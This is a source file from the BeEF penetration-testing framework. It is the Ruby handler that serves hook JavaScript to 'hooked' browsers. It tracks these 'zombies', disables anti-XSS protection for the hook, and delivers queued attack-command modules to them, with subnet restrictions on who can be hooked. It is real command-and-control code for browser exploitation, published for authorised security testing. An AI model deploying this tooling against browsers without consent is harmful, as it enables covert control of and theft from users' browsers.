Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/handlers/hookedbrowsers.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
module BeEF
7
module Core
8
module Handlers
9
# @note This class handles connections from hooked browsers to the framework.
10
class HookedBrowsers < BeEF::Core::Router::Router
11
include BeEF::Core::Handlers::Modules::BeEFJS
12
include BeEF::Core::Handlers::Modules::MultiStageBeEFJS
13
include BeEF::Core::Handlers::Modules::LegacyBeEFJS
14
include BeEF::Core::Handlers::Modules::Command
15
16
# antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file.
17
configure do
18
disable :protection
19
end
20
21
# Generate the hook js provided to the hookwed browser (the magic happens here)
22
def confirm_browser_user_agent(user_agent)
23
browser_type = user_agent.split(' ').last # selecting just name/version of browser
24
# does the browser already exist in the legacy database / object? Return true if yes
25
# browser and therefore which version of the hook file to generate and use
26
BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string|
27
return true if ua_string.include? browser_type
28
end
29
false
30
end
31
32
# Process HTTP requests sent by a hooked browser to the framework.
33
# It will update the database to add or update the current hooked browser
34
# and deploy some command modules or extensions to the hooked browser.
35
get '/' do
36
@body = ''
37
params = request.query_string
38
# @response = Rack::Response.new(body=[], 200, header={})
39
config = BeEF::Core::Configuration.instance
40
41
# @note check source ip address of browser
42
permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')
43
if permitted_hooking_subnet.nil? || permitted_hooking_subnet.empty?
44
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.")
45
error 404
46
end
47
48
found = false
49
permitted_hooking_subnet.each do |subnet|
50
found = true if IPAddr.new(subnet).include?(request.ip)
51
end
52
53
unless found
54
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.")
55
error 404
56
end
57
58
excluded_hooking_subnet = config.get('beef.restrictions.excluded_hooking_subnet')
59
unless excluded_hooking_subnet.nil? || excluded_hooking_subnet.empty?
60
excluded_ip_hooked = false
61
62
excluded_hooking_subnet.each do |subnet|
63
excluded_ip_hooked = true if IPAddr.new(subnet).include?(request.ip)
64
end
65
66
if excluded_ip_hooked
67
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from excluded hooking subnet (#{request.ip}) rejected.")
68
error 404
69
end
70
end
71
72
# @note get zombie if already hooked the framework
73
hook_session_name = config.get('beef.http.hook_session_name')
74
hook_session_id = request[hook_session_name]
75
begin
76
raise ActiveRecord::RecordNotFound if hook_session_id.nil?
77
78
hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hook_session_id).first
79
rescue ActiveRecord::RecordNotFound
80
hooked_browser = false
81
end
82
83
# @note is a new browser so return instructions to set up the hook
84
if hooked_browser
85
# @note Check if we haven't seen this browser for a while, log an event if we haven't
86
if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60
87
BeEF::Core::Logger.instance.register('Zombie', "#{hooked_browser.ip} appears to have come back online", hooked_browser.id.to_s)
88
end
89
90
# @note record the last poll from the browser
91
hooked_browser.lastseen = Time.new.to_i
92
93
# @note Check for a change in zombie IP and log an event
94
if config.get('beef.http.allow_reverse_proxy') == true
95
if hooked_browser.ip != request.env['HTTP_X_FORWARDED_FOR']
96
BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.env['HTTP_X_FORWARDED_FOR']}", hooked_browser.id.to_s)
97
hooked_browser.ip = request.env['HTTP_X_FORWARDED_FOR']
98
end
99
elsif hooked_browser.ip != request.ip
100
BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.ip}", hooked_browser.id.to_s)
101
hooked_browser.ip = request.ip
102
end
103
104
hooked_browser.count!
105
hooked_browser.save!
106
107
# @note add all available command module instructions to the response
108
zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false)
109
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
110
111
# @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered
112
are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hook_session_id)
113
are_executions.each do |are_exec|
114
@body += are_exec.mod_body
115
are_exec.update(is_sent: true, exec_time: Time.new.to_i)
116
end
117
118
# @note We dynamically get the list of all browser hook handler using the API and register them
119
BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response)
120
else
121
122
# @note generate the instructions to hook the browser
123
host_name = request.host
124
unless BeEF::Filters.is_valid_hostname?(host_name)
125
(print_error 'Invalid host name'
126
return)
127
end
128
129
# Generate the hook js provided to the hookwed browser (the magic happens here)
130
if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')
131
print_debug 'Using WebSocket'
132
build_beefjs!(host_name)
133
elsif confirm_browser_user_agent(request.user_agent)
134
print_debug 'Using multi_stage_beefjs'
135
multi_stage_beefjs!(host_name)
136
else
137
print_debug 'Using legacy_build_beefjs'
138
legacy_build_beefjs!(host_name)
139
end
140
# @note is a known browser so send instructions
141
end
142
143
# @note set response headers and body
144
headers 'Pragma' => 'no-cache',
145
'Cache-Control' => 'no-cache',
146
'Expires' => '0',
147
'Content-Type' => 'text/javascript',
148
'Access-Control-Allow-Origin' => '*',
149
'Access-Control-Allow-Methods' => 'POST, GET'
150
@body
151
end
152
end
153
end
154
end
155
end
156
157